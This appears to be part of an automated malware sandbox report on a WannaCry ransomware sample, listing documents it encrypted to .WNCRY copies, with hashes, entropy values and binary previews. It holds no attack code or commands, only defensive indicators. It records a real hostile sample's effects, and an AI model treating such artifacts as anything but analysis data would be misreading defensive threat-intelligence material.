                                    Preview:WANACRY!....n..>....?'.V.(.4.o.....b.r.!.z.w=a..=..&[.-....!.i}S...q'dj..".F.....:.VV.......\.C.'.%......r.XXr.3.....-$../.v/..q.`y&z| ..{(....y. .8.h.b ..m.Z.=.3..q.....`MN.E<..0U...4.C.z|..v.6B4M...O.ZA...m.......#*.($.<.y.....fN...`,.j-.:D.l.NXn@..............6.........[>....... `..IA*z..e!...h.x`.......f_.......j.......eOa.`i.l...>q.5|h...a[.%...]...!R......eY.kZ.[..m].d.{...;'>F.s..A.....hv..x.!Y.c.1. &v...[2.3.'b...Kh..X3W......A....L..^.L..jS.t...........3.........|z..(Z3....h...F.I:.z..t.i...qw<eXg0K0y9......[.b..>..>R.a....=..eP.Z.CW`....'~:A.r..ydI,..w..k....3.(.....2.3.a7.z.#DM.g.a.....P[..'.W....!a...U...:go.$.....VV..H.#]:.9.fj.A........U..b.E.6Z.hx_...../...:....n'..o.1..'a.|.8.XG..!Da*..&!..(..T......u....t.2.........+'iY.&M.......;.!|D.'....(.......5.u...JI.y.^=.Q.=..%t7.<...._..z.o*...A...h...5..Cf......Nj...qN..oX.*..N>....,.0.........4.=R..!.w.}l....0..UnE.L..*..I.`.7..3W..J.-.]N..1...N.C..,....j*.R...|?]

                                    C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\BXAJUJAOEO.jpg.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.832874219922318
                                    Encrypted:false
                                    SSDEEP:24:bkJYVkj9WgyZdGjp+1Gzv9EPJvuYPiSfMrOcYaCPQqSob+yuHrmYphkI0U:bkCVkcEjp+1CFKwYPiS0fYyosSYphkm
                                    MD5:14613B8BD1F76C4D79B8C8213D529059
                                    SHA1:A553E2322077EDBA32C290B73D4004EE3277E3EE
                                    SHA-256:59D8AFF279CBD74BE2E75D083FF67385EF2399208E8CCED436F3FF0696F2741C
                                    SHA-512:2BB6FC68B0616D2E80CBC06E67954369ABB92E99A80B7873C6A095D2A97C14334EB0FA17D73CA86398D2A423D560CB3561DB9B58688506765A1B0B571FC807FD
                                    Malicious:false
                                    Preview:WANACRY!.......U..!.].v..c.g....~...Y...K..!....6..gb^c.:pP.#^!.b......8.2A.t.sw...a.S.O.........>3W..E.q?.....}.K.<(.#].qO....U..G..GdrlkZ......%E.{.auwOX..q..;V#\..Y.@.L~.2.....,.........A..b.X.a.FI\......PM........\.`-H&v....._^.....a..CH/..i..4Z.................L..+..C.....A.A..%$..e.......t.......U?.9.1..>...~_..!.:......+..C.s....VM7^@.E..~..A5.:....9._/)S.]....J>..p.e.C...k`..(.Y.z.p....!w.TwW...d.4_&wW.n..2k.v<.....V..4..%b.;.b .r..zf..v`.Z.......x+..hL.a.)T...s-kQ....Y...x,>..Ni4.A=Y#.,.#O......9,......c..../..&5/c..):.:da0.n<.T......y.UA..K;..K.....j7....].x.i/K..W.}$T.W...N..*).X!RT.8....s ~./.gt..4q|.ix.....z.K......*.......G..0.....<..K"..t..n.G.^\....6....}F..'.....w.{V.c.r...`..J.1...gS.$|.zZ.&.).y...w.S.K....Pi..d.k.*.CAS.{...g_../4.v.H.O..cA}...BQ...a.wN,.~.KIY5*s....k... Vv......**emA....C...`.k..T....h.l.vKj.......eE.N.....~.8...#.(KjK....*...m.....+wr.&.z8.$.'km.C...\S"..6..Y...1.z.~.Y..n8..VP..Q.u:2..n....m.

                                    C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\BXAJUJAOEO.pdf.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.865949627227517
                                    Encrypted:false
                                    SSDEEP:24:bktVlHvTL/gnkjEfQqhFV2UTBSuSBxrHc1dcRndJgOfEtEyhmPscEQTS0:bktVln/vjsQqV9dSND8ARnTfEUPs2v
                                    MD5:4DEBC09F40F4745453C96F77E6B4DBA5
                                    SHA1:3FA8EACA54C52EBABC66F1F1E9893C04B8CE8D43
                                    SHA-256:1ED46D04A1E5DA611F11D9B2934D932B309C06BACCEC76CF45C15A335B90FCFF
                                    SHA-512:47A88D962D8C0841E2603022E38B272CFBB32CD55389BD2C4A3DEAACF7F3007645D5897C9672214D955E5EFFE781C593FC644A48E2B9C4ECC927F59582436D1C
                                    Malicious:false
                                    Preview:WANACRY!.....W..R..=MP..[..#..%..r...C4..{..L..q.6.|,..F...kn[.....VOT.g.pe@..-......\G...6m.m._.e..APcUAO.Nw..h.n%..n6..B)..../I.X..+..Z5..V..ykf.=Mc>W..lb..Kf.kqX9./m..n'.'........*.....ls..($.i.......F..b:.}.....r..$.>......8.n.=.o.t:(.U..H_...g.)&.............,.f Rd..`..dg_.t.j^.ZL.x....=..$.j%cui.L_.R.k...J..........D..QK..C.;.B.>g.9e[X..h.1..>m.4~R.~..-9..0...8...t.!>..w..-.Y...^...M.....Qi.Q..pqh.a}..B..s....y..T..`CZ...]....qj......{.jalC.@....1.p[.24#.^.R3,Zz....`Td..9c9....b.j..v.p`."(d.S.u....6....,@..Hk.v.,5......Y?z..W.a.w..L.....a.....u.z.8'....O.....Y..\r....qVK4A...o.\B.I2'....#73%N...)....`..w.D...5....x..@>>....(....&....e..;..$...,X.....U%..L.Z.g.j._........I..]...;".....]..e..}.{z/dE..]X'.c.".HM..|..;.I.AACZ.;..k....E...+.HG......xt....!...^9po.[..<.........Hd..4...I...'.,....vMJ.u*9.>cL3.=.....(`...*8.V.,...Q.....f}.V..8....7...byc..t...N.F.p..{.`......I............Xe%y.L.*rG-....1.5:3.p...$..9>.1.*.d!.F.

                                    C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\BZXCAHGGQG.pdf.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.850871176929401
                                    Encrypted:false
                                    SSDEEP:24:bkupg3mq3FIwSrDw9pBnxDrIgy+wYUfXVa4qfDqBDUlHILubIvFvgtlyz:bkuXqVjS/iw++fLub4dz
                                    MD5:FE5C19B004D640E866E358ACEA772009
                                    SHA1:8C49C330BD91D78D74AF276A0FE99A5565808D29
                                    SHA-256:C45A7408289C918C9C96A349AE961370DF8085BFBD00C140766617D731E11E75
                                    SHA-512:ACFA122B03937D53941E66FEBF2AD9B7ABCB748FFCD9EDA24F54646A07CAD884193C3F53D4A6A61543A2B0082C54DEDB41ECE686E094ADAAA088C14D9F9B9E07
                                    Malicious:false
                                    Preview:WANACRY!......r..X.m..a!6.);......(.......Q.7.}.......S\.7?.[.]ey.....}.>.n..Z.{R=B....wP.F.1.!X$p<.z.:...Y.._..$........VxRwi3..F.&O.a.....yj..z._F'Q..^..<.y.........*...]C......,..O;......v.=.6..W.....rZ.A.B.v2k..a-..E..].]\..#<.....!..5...T7.@...............Y..3T..wg. .:QuGv...8......8.F...w*..=?.Tj.O.K..B..p.O;..3p.&,{..m..t.....yL_...U.m7......[c.v%...^=........6-oG#.0...T.Y.1..\..E..#gT.%?.\.*l..9$4~....'..*..5v..x...l..M...Y...d&._...?..L.6...e...&p......w.0.J...P...).&2oW.............._.L%....S..;J........a.U._*.V....M..iZ.z......I:,Z..2.s..A......l.s..=.R."Hi.6.L......O..`f&N..f..<.....(..P&.K.. ....9..V*..E#..Y....L......4..[.3...b...b..)...$.H....A..`....d...p......o.`...s..Z.j...T....p.c,H[0.&2I..)..Wn...A..h..+$]...g|.@..WX...iE<Nt(.+j.w. ...F.......>.t...jPF.=..a....-...LO...W.....?V..hN..R.$"Y..........\.z].>\`g...m*..3>cgE..I.j.........h..N.}.{....u....,L}.@r..D..S.M.....;..#....p.{b...u.5.\L8.O..cT..8..."Ii......g~...r...S.

                                    C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\GJBHWQDROJ.docx.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.837712649779283
                                    Encrypted:false
                                    SSDEEP:24:bk06aBVoQC0ddOO+cNC76DRBaP75sVAdzLRxmrPBEigzF0CZp++:bk9aHoXkdOBCCGDRB+sV0LRkr5EigzFh
                                    MD5:59C081A5E83E5C99ED73348B96AE8B08
                                    SHA1:6E36647C376912CC58F43A4100A55F64845D56E1
                                    SHA-256:1DBACA1AAC7F5D532FC42B65FC9590DA23A960A40104538ED6E8484CF7D985A9
                                    SHA-512:A31CD9338395DC1A87679FF468FFE8FE46ACF267ACE17D5CAFF07EE86D77287BCC3B6C6D5FEF8B590580FD5A820DF8B828284DC1FB6CCBFB9C5E44B34F41E546
                                    Malicious:false
                                    Preview:WANACRY!.....c..2..\....v.W.O.vB..9k...@.q.<..x.<eJ.P$._....hs..FT%W.N.v.>t......r..'.v.y."R?0'...e.E#B...$^..9C(..G.6.}Bf&MkOK#I....#..u."...M.+.=~..V..{s.!.i...Vg....<...O..{.Awy,.M...q...~5&o._.;..%..1B,...JX.D...X.!fy.k..5.O.K?.X..%..."..7b..@...............bkp.d'.<ok...[.....[.S.[.)r....n.a...2!.G...Q.!.=......~.....u."..l4...1...e{.%......G.xd..U.$....Y......a....C...m#L8.v.i...k..<$G.[.......0dd..z...w...]..f7...X.......w.7.Mg...N.\....`.R.v.........\.;..:..x....d{..h..X...Y."2. \]....(../.4.#....XO..s0\v...w.Dy.....N[b2.oF%rZ.G.g.k......j..m:...3*V.es....8*.%....t........M9.....u0.$.e.EFs...9..&.i..#'.]....H....$..A..s ...p]..UA.z^.( ..u..SZ.5Y2(D#.P..[h3..p......%...1....P.<......;+.c#...N.......a{....F...Q;.....".B..U`.'{.\1......<....2...A..A/.\h..C,9..-+y.{...Q..2}.-.\R.t.*H\fB.4/.bp.. ...ZM........c..f,:....ux.n..1.{.E....{x.@..................)3c............V...#B...#v3.m(i.>....Z.~......SVld..!]..).m.8.......'l#p[PyK(..]..

                                    C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\GJBHWQDROJ.pdf.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.834358663613347
                                    Encrypted:false
                                    SSDEEP:24:bk9Mt3MDCUlE0RQfR9iwlLHY05wMRDTU+IPR1+tA9rG0g6U535DFdHGU6s7+:bkut3BM/RoRljhUhU+26U5VX16K+
                                    MD5:615B9E0290C4E6EDEDC21FE882629506
                                    SHA1:1B519324C5245B690EC45677D4417E6FB528AFA7
                                    SHA-256:0D98C82FDE15E140D8B4480784C389F9490AFE301991CCD65A35E7C2A0DC5735
                                    SHA-512:C30235391AC52EFE1148FCB3E78DBED3676AF2598145BCA586BBD82D5C6AABF6EC7B3A2504F2922E570966B2DBC8841E567EE3126C41692629B1EAFF553FFD20
                                    Malicious:false
                                    Preview:WANACRY!.......3. &.U.....).04..^s.J.....=....W.Q.J..@..%t..!.\...j^.&.p|..F.@...3..#.K...,...+...>.#S\..4G.<XS."....`U..t.....8]....3..|#j..h@u..i..rO.+k..dp..... .........@1.......W.aX.q).qM....fA...._.(F.p]P.............x..p.4#..0(<.(8]&M.2..DH[.\!..........................VU..........p...J~../.K.].)U......1.<...%$R...9pL.#.$e.7....4.&.P....X...|'..2....W...#[e...tt.Z._.s~...#.....\.8b=...@...5.a.....pnJex..F.....I.Yo...k...{o.u.'......9.%..O....=..978..'.M..l.P.y1..g..}U?m..."s.pj..U... ...AJ5...t.......@.c..^../|...9.....1....q.~.N<>O..HW./.o.0K.@......$.wg.._..=..Z5*.M...o3....+.L..z...4....Q....3.9;~..X...@.h..;m.R85.a?Z.~I.o7Y.d..4W}X.#.....0..(....U^j._9a<1......"...\.......R..,5.b.lN.{..S@.D.>.....o....w......th2...ah.c..8.h1At.Lg..c*R...d..I....<.....#.aXF.$..5.....9\~H....$Kg.F.. }AV....3.[n.+..xQ1f..<+...cI..R..S...^..FVY...d.U.......`{..uu..U...../<.....7....$...HT.....mQ.M8...&....FR...Lt.P.}..B.....n.W......<...Ap...\..

                                    C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\GLTYDMDUST.docx.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.831832130042665
                                    Encrypted:false
                                    SSDEEP:24:bkHbUid8Iqpn6Y7i/IuTN7+9yPlKrRJ9BVx9GIW1jmvH8iPojk9EPk:bkHb6I0n5hu1GSlIBxZUSvmk9n
                                    MD5:94E51F48236E8492AC88159C5B241384
                                    SHA1:1903652848B40DA3F031143FA385EA1735D84682
                                    SHA-256:ABFF647DFC47983186F247EDC5D6AB0E6C27F6DB6A630DD873A8D38195B9C395
                                    SHA-512:269559FA078E6D54AAD5AF37777908D9E0343DBC91FE5E7CB67846D090D0CDE8316DF3FF04D222362ED7F3A4F82B590B8D9DDE7F6E67D073109D3B202BFA1A81
                                    Malicious:false
                                    Preview:WANACRY!.....0..l..Q..........~......$...cv.?.AIh>F..s......7..........a...QD.....,..c..[k......5...M..X.{.........<...a..q`m.,.[<x.@..r..C....v0......'....:X.E....e...E.F..H...bL+...H....SU^J.....^......h..)...u6U.?......~.H.q....N.b..+a>.[.n.....}(.............]... ..g-...?.F..S.....-....+i....k..E...2...9.gg.$c+b..m={..%f.n=.jYy...2}.)42.[.L..W..~..C...f.;A.8................ga...^`.q.:8.%V'fA.........vwS..4.m...s#4S.....^_D.......1C;..@...ufc.N_g..O.._.;..Pc....~.hYOv.r....`UB.....+p....M..dS.`.X/3.Q.c.P.ugUQ.~.;..MT.....7P.X.k..G.....G.....:/..%..U.....].h..J.../].A..v...x|.1../6..;.c...E..A..l.rY.W.O].t;S.m..A,V..G.7O.f.r..t.7...t.1...!.G.-L....`.W...Aw.":]O..!.4...~.U......a..h...f..w.y}..m....:.......m.l......e.m.$.5.'..eb.'.&...<.3.[..b...O ...j@T..\...e8kj........!..Wg.[.%.;.....v49o.....z}Y.W.N...t?..Z.....?S.K.c?.fE.'[.....^......F.2..n,.oSSm...|m...L.J"\6(.8T...$..MI.....Gsk.....Z..~,.]%e.c..%.HV$.m...J......v..{..i.g(.....

                                    C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\IZMFBFKMEB.docx.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.8616030362640865
                                    Encrypted:false
                                    SSDEEP:24:bkXLvFFVY+tWLg8owVr+vReaGrWvYGrvAdU64s5hDXbOGJKRFTc1LU4Eqkbi0Z3i:bk5FFtKgJ2+vkyvYGroosXqw4Zc1dE5O
                                    MD5:254C84AA429FA6B84BF5730CB5246907
                                    SHA1:85ACC53A82E45A6C42439034F56D8155F2F8C23A
                                    SHA-256:5CB0E604D5BF7C39C782AE4CA83BABFEC9C35F90715794213F6AEDF78CC75E18
                                    SHA-512:878256DDB38C58225BF9E2295091C10F025973B2AC4DD428368E25C3F509F5D62E23C8F87F5CAE7A5A86B23463477215286C76C389E434412CE216B022E32CFE
                                    Malicious:false
                                    Preview:WANACRY!....._8.U..Aw...].F.....m.y..7y.}^/.[G.&y....j+....0.z9E.i..f....s."...|.R.$...F.....k...5.....%..Es..Sj+....(~!.<^.[...n..>..j...."...V.,.....N.......6.\.~..@DK...+..%k$V0..4......-.Ln..~..<......_.<n.s.n.H.E.9....p....8T.. S/...u.1.>T/c.=..................T.^.X......f........z...~OK*7.&.......:P.|^..3*6..Z.....0...?.S.s...Yeor/..N..F.Z....=..s~.......beb....I.NC..,....q4......*.q...?....X..;..zb......@...Nu9C.8.4.4.xgx9.....g...^\U.;...}.$.]w...F^...;&.##.(KG....'...'../...;,!C.....Y.^.A...l..bS.I...K`.....)_.g.L.f..7.W.......1..t~K...8......M.3..U..qs.w.-.k.6F....._.g...\..d.S.;.=10.ar-..Hzg@?)4..y....n.Z.!<..8..8.3._..@&"...q.=&xaS}.....T..{Sl...h.<...x..G..&...P.$b6..)Qy."".....41..n.....e.y.[5.8K4.8....Z..PT..#Tf..'....q.......Yr.?..XC._.?5l?..hJ............rL..8L..D..;.tby....32.?..Y5a...%......."i.....@........E ..E...........D..b.a..].......F.`:tq....o.'^t.*..Q.iy.....|.\z..F...y....U,.}.c..pVUj.....*2.(.....V.:@p..>."hqU..GV.;#.

                                    C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\IZMFBFKMEB.xlsx.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.8582879685975895
                                    Encrypted:false
                                    SSDEEP:24:bkqlMlHfojwhR1jvmyBXMLIXvTnTliLOqF4Of+2hTvFwMWFPTQ6Gk6lWwRSYCwiF:bkiMlHOwhDjvELYTn040g7Q6GhhFCwiF
                                    MD5:AC1567B413F8839E0AB462FB28CD8FAA
                                    SHA1:2FE804E3965C3601B4826186EAF18A511DB97868
                                    SHA-256:695D0A633733AF7876EE07E6F862AC9CF6AD9D3CBF97B68DAA7BF33D1231155F
                                    SHA-512:6E72092162C556EF1F47BA7653355778153DCF2636338CCD0AE21F43F81F2BEBAD923761CBFCE13113D9F8ED2C125A81EE9C72942F83F7B83BE9DB854E18AEBF
                                    Malicious:false
                                    Preview:WANACRY!....1........L+F.b......Eu.."".6..yWah...G=.o...`.c. .\4..b>.5..G.D....&.7..m...VsxywX.1.7...u.A~>.5i..&}....v..O!/..?c(..<..k.5............*...^...f....m0-..0../....c.L..7.j!...57+.X).F......^......FH..,..j>x3.{E....F..I.t.ac...P...].3S.............^(..iV..XM._1.mt..WZ*r.!....a...p.o..u...i~..>`..5*a.*.v......z.?..M?.0..8.....n}8.&.T..,.6}..K1.....t.Y....^.B...b...xv.=..,`cH&...%:.)..O..0....Z-9..6g.Z..p..+..H...r....zT..Z...S>.L.@h.5Qp.Fb...~..;..y.......Mtr...+O.s...(X..5...".;.Yt....f..P..L."...||(..F,6....Ww.-.e...dL$..y[.....4.....jF.K...x..R..5.1._...T..).l.^.Q....>w.-..\+..Q,1............s.{VPmy..s.)....+....54.Xy..~,I...,.X.,Kbg.B..|...ac/...$........b=....1.t..-LsB..D........|J.k.Nf.......B.b7(3%.....6r..y..n*A.]!....v.d..lz.$.'..b.PN..y.E"....-xS..WeM..#.fMmI......8 4.D..?6}.0....]C..L.......<H....Mi...Y.......%...Y.%&.u.Y...&../..'......N...A.z.Q.Ff..5}...r.,.d....$...Q..J..E...o#. 6[..A[.o...a.pk..~rH.Q

                                    C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\LCLZALVXRY.jpg.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.834021373899578
                                    Encrypted:false
                                    SSDEEP:24:bk8lVe9yaMav8w6VSjXGR8ZUaxpLEx3jJtySDUGtxCTZAui92q/cNM2/UZj5:bkgZaHj6VM2R8ZUa7EZNtVnO+uvCcC2w
                                    MD5:8CC3879CE4D17EF15DA993ACE7030B03
                                    SHA1:C2689A85F5B5FAC00B90B45BCBAF01DD638DD913
                                    SHA-256:B88A16B224CE1E4BD3CB1E3476269C98CE266F2FD1294675A6DB756B3A7F7CF0
                                    SHA-512:8E07CAD546357F0B5FAFE46A0A64E863026C88EBC8219FDD7C396D82FF1C11CC4F274EE07386599DE5C2CD53648E9BF6061AC82E166CF9169334E9BC3143F6B4
                                    Malicious:false
                                    Preview:WANACRY!......?..a....$c1Bb....'.m.p.P..?...........k!El.=dP.3......b9V.f...I.N91...<&..[..".5.0..p..H....>........t.?=.....u...).f=Fk..*.d....S..1...V$.Y.b.....O.Kic)....2,..K5.t..VJ6...e..3).x.%....../.h..-.#.....d~..^B.w.F....~..Zx.......g 1.....x;...............]..%A..f..m.{..*..7...og...=#Z..K...d....m.r.$....#....r..A.9UA.../+,HT...N.7.^...>.._V.1.'=q.d4...].9.~...O.W..1....l...7.{.Z.N.(>k.....bL.:8x_...!..%.`7.x..z.F.5....j..r...R.EB.s...h.......r.>........KC....S.Y:w.@.U.)m....6......}~.._l....b......!..^./....Y..[J.:Id|/>>..5.&..~...R......... ...jzb..jU)..d\.=...:..Q...x.hF-....tT..G..9....qt..o......g.b<bb(&..WNy?.q...x..b.x........K..v..`8*C...\.uU!w..HB!/..!IG..*..p..d..S....kP.....l.kA?$.......R..y...sq.p..i$........\e.m]1.o...U[.V.2.jQm...p.......Q'...5?^.>OQ.XhW...2..@...;........}...TD1...,...d...5d. ..?*.......2%f.c.._8}...R|..,.r.....#y..bu|W....Q....qN1...g..G4I@.....H..;.v...8]x_....,.hE.bqP'.... .dz.......WA....2...`.p!

                                    C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\LCLZALVXRY.pdf.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.850075020118456
                                    Encrypted:false
                                    SSDEEP:24:bkrbB1fvaDBoILWZEP8jwDuWEgV3IHBBHTpebowzfYFkbxXaUddRcWOiif18F:bkr11nrIGycwCWVV6P9eboq2kVXaU7xn
                                    MD5:A55B47ADE5B3AF88BAD25A0BB66D8C69
                                    SHA1:DAD6269481BF3CAC4AAFA3B313F0EF96BC9183D2
                                    SHA-256:37D550ACA01518BE6AC012B61C52675762633225ED8B3CDC4CD17B8BCF4C4C35
                                    SHA-512:9AF66D60DF53357873B9A735A39B445B639A3324C9AC98A37C4AC08379AC55F384C1FA6CB4A3E8550A23AE5C79B233D1B4A68816B212DEDD43DAFA242BA6D041
                                    Malicious:false
                                    Preview:WANACRY!...._.6....t..35Xn..v..Hz.Q.}..e%.h.7.....t..<`....\."f...R..,.*.~W..m...G*C[m'...W=.....X.......1.N....W.K.}.,..B.3wo...B....d.$z....!t.H..O.....rQ...sxW.........T"..V(....&...@...$.Pm.2..D6...J)T..w6....^..:hE....49m...o..]{x....^......a...z?T..?4...K................f.l.......K..Of...$k..?c...j.....xA.:Myz....S./.5C.....O..i..#.F......K.0..7..31.........LG7..(?....T.!.S.e.P.N.Z.I..m......t.3?M. 8..o.~kSu..0.95.N].S.D:E.....ME......tLX......t\.J..e^.4...f...9K...V.Cn..@5%.r8.....uKU....k..;.M.9..*...'..:..+..Z\......s.(.....@$.f..[e.......Gd.@..G.>...ed..H@_.S.0.$.ml...h.=.y.C5...N.f...>%>.....rc.:.......Ug..x..!........:y..~cj....g...'...Z.V).+....7+x?....2%..|. V........M(.w...Tul.-.?...u..O..FQ...+...*..t-......g....?..~..\..*.e..X.[..i...O.>...Z....>..}./...,.{..j.,I....g....cR."@).)f.j..I....zN....`....(.Hv6X.......q....l...e..0.....+.Y1.{.N,.}.f4wt.[O...b.....u:.0!q.#.'uj9..w ..L....Y..."z...d!..Ny.{.......0.......W1t*I.S.~...

                                    C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\LFOPODGVOH.docx.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.852907468650602
                                    Encrypted:false
                                    SSDEEP:24:bk8dCgTzVNUcdMf8NLcg2afAOR2gOsC/HPyDk1f7SDi0Ga5Bz1yVv:bk8dpxNHOENhtNB4vyDE+i0Ga5Bz1Mv
                                    MD5:E426BA8FC14385B44ECEA5777FA25451
                                    SHA1:A647B10AF88BDD25F17C3A5A10D6169D2D7CD6A2
                                    SHA-256:15978BBC2F17D5C175705CBB0A156F2471D5F7182D5F0584479CC3D549FCA38C
                                    SHA-512:4911F7F1FFE803BCD0219BA51A6B19594B844E9E0C627EB690AB97F5B07594F38F809511950032828F1F33005FA8034398D074CCF75D1A8BADAC792C5DC3C2BE
                                    Malicious:false
                                    Preview:WANACRY!....%I...W7zn.....>De..Ho....{P..$....=.MJ........V.a^o...{....-+".y...H.+.......DK...........L]./....`...0'..[....t.ju..\~...Ub.n.h.....[*..Ic..P...-...... .9....mD..<.d..0D..L.4!..._R..p];...R.+..m.=..Q3..9.8.y.L......R.C.7N&..\J...X..v._..<.}.................7g:.m.....C.rM...o....Z5..&......M#Q...&i....,.!.j..l}...8.....i...%......[s.b[;c.8.A.e)uWP.........(..Yrt....{&.[..(~.F...wF..N....>8....S.Kr.+.+.1~..9..B9;....d..'.$...<z.....s...........%...........!X....tVc.F...6....h.M.....G,....$.0.|.,q_k...Y...9...H.....3......jEt..[..&y.'/K....<.PH%....|QA..m._2..ss`.`x.....1...Y....u.a...=`a...mz..#..A..]..N.....8Z;.MHGzP.\.... U.w.n+.......T....v.Q....Uc.<R.U|...Fk=].[a+c.7..?lo...S~.;.045V@SNsy5`/....b..-8..c..S.;...^'D*..$s....r<.,3........f...;~.e?....v..M.i...&.E......`_.&._.z.2...s..(-4.....xh...&w.%..j........Z0....n......<..b.k.. =&U.{.NK$.=(.....P.-..*.....f..y.G........3.H..r..M.v..,#..M..q..R.[=.B.D\...OB.k..t...J3../.Q..#......9

                                    C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\LFOPODGVOH.pdf.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.844986156308365
                                    Encrypted:false
                                    SSDEEP:24:bkvkl4rNmPO0Cz8WvrAd4bon1evL1mGhOtGYWD6yUcmfe/mJoaWR:bk9rw+z8WTA4kumGM8qTe+JoaU
                                    MD5:9E91C6D0B4ED509B356FF0A27671C2C9
                                    SHA1:7F5FFEE4A561C54E65FA6105B93252EC0AFEE08D
                                    SHA-256:F86DDF443B9361F8F77D3DBCFE609207E37AC6B6AD9C3A3782464CAD9722DE68
                                    SHA-512:51D512E5F638376AA71084A44168D7DD3098CB6A26BACF316097F89F5655316FA4CEF516B8BE1D782C8478CD3F49D4EB819115DF03F87DAFE83D149CAB25DC10
                                    Malicious:false
                                    Preview:WANACRY!....11......s...FwY@.=.....h..2...0.M.tQ..<.*.w.R.4A...8n.....W...v...S..#.........w....o.q.N{.F*....6.f..5...7Q0w..EFg....ri.a8`.)q..5.s.x.!?.~..D...^T..&_.)@....]..6.x..w...&v....c..3.?Ku....vO.u...=i<.'V....5.....*..n....\M..<Y..&I..%R..'.r).N/............<,.B.H..oh.)}.-..zL.o....k3...A.k...]!...Ngkr.Y..?.Q....w........M.D-.K..>.H.7X....Q.........PM..;=........&AU.*..o.-...[.7u.zd.=.-E....@T..>W...[~d_........i.T:..!..m.H....oe.+.....s%..4.H.=....C..@.H.G.....b!..on.]...&..#XJYM..1.... .G..1k..K.j.N.ROx`..`h....B.R'.8..R.............M..\Y......O.,..k:,u.[..<...`....hB]9_....r9Lb_...b..5.....S....|.........H0...G..o..3,..T..QAA..^8.i$.......&.y....l.B...a(lJ^RO.....0......T.. ,..Mg...R..O..*.ie.s."..{&|.2.P>I.{......1G}....S...}.?.$..>gC.0.`e,#q%...J.Fh*.l|....zE.K.....H.A...}d.#.+3jhy#.......83.~.....B..S.)&4d.7H..n...Y~.V.....Q.r..........`.H..(..+f....m.aw!..Ma.#.b...0Y..#...6A....m...4OD...X..E."6..U&D...o...-..

                                    C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\LIJDSFKJZG.docx.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.841096867061518
                                    Encrypted:false
                                    SSDEEP:24:bk6laFDp8j3Fo8bGqXQ0Fju5dMZ5eaeeIfh4B1WBsIv7I9cFc0oUdfskOM86NXC:bkfFGjFo8b3Q5SZbVIfh4B8sO7fm0oUw
                                    MD5:BC9B1D72CA80B171B4A2684329143BF6
                                    SHA1:03E9315B6B51105F58043DE1DCCA9D1EF4D56B19
                                    SHA-256:64ECFC6A6528E9E6A49C3CBE5EC3DEF4684AE66F056A55E1C653DAAD3757A07A
